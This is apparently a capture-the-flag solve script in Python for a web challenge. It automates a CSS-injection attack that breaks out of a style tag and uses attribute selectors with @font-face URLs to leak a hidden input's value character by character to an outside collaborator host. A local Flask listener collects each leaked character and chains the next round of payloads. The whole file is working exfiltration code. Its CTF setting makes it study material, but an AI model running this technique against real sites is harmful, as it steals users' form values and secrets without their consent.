La Cabane à Poutine 🇨🇦

from threading import Thread
import requests
from time import sleep
import urllib.parse
 
# Configuration
TARGET_DOMAIN = "vbhmgkiz.web.ctf.uscybergames.com"
COLLABORATOR_DOMAIN = "25d0bb5d98fe97.lhr.life"
# Expanded charset to be safer
CHARSET = (
    "abcdefghijklmnopqrstuvwxyz0123456789_{}ABCDEFGHIJKLMNOPQRSTUVWXYZ[]()!@#$%^&*+-= "
)
 
# Request headers based on provided capture
HEADERS = {
    "Content-Type": "application/x-www-form-urlencoded",
}
 
NUM_AT_A_TIME = 9
 
def generate_chunk_payload(known_prefix, characters, index):
    """
    Generates a CSS payload for a specific chunk of characters at a specific index.
    """
    css_rules = []
    for char in characters:
        # Log as index_char (e.g., 0_a) to distinguish positions
        log_path = f"{index}_{char}"
        rule = (
            f'input[name="recette"][value^="{known_prefix}{char}"] {{ font-family: "leak-{char}"; }} '
            f'@font-face {{ font-family: "leak-{char}"; src: url("https://{COLLABORATOR_DOMAIN}/{log_path}"); }}'
        )
        css_rules.append(rule)
 
    payload = f"}}</style><style>{' '.join(css_rules)}</style><style>body{{"
    return payload
 
def send_report(payload):
    """
    Sends the payload to the /report endpoint.
    """
    url = f"https://{TARGET_DOMAIN}/report"
    # The endpoint expects x-www-form-urlencoded data
    data = {"accent": payload}
 
    try:
        response = requests.post(url, headers=HEADERS, data=data)
        return response.status_code
    except Exception as e:
        print(f"Request failed: {e}")
        return None
 
def leak_character(known_prefix):
    """
    Splits the charset into chunks of 10 and sends multiple reports.
    """
    index = len(known_prefix)
    print(f"[*] Leaking character at index {index} (Prefix: '{known_prefix}')")
 
    # Split charset into chunks of 10
    for i in range(0, len(CHARSET), NUM_AT_A_TIME):
        chunk = CHARSET[i : i + NUM_AT_A_TIME]
        print(f"    [+] Testing chunk: {''.join(chunk)}")
 
        payload = generate_chunk_payload(known_prefix, chunk, index)
        status = send_report(payload)
 
        if status == 200:
            print(f"    [✓] Successfully reported chunk")
        else:
            print(f"    [✗] Failed to report chunk (Status: {status})")
 
from flask import Flask, redirect, url_for
 
app = Flask(__name__)
 
@app.route("/<int:index>_<char>")
def home(index, char):
    global discovered_secret
    discovered_secret += char
    print(discovered_secret)
    leak_character(discovered_secret)
 
def run():
    app.run(port=8081)
 
if __name__ == "__main__":
    thread = Thread(target=run)
    thread.start()
    sleep(2)
 
    discovered_secret = "SVIUSCG{"
    leak_character(discovered_secret)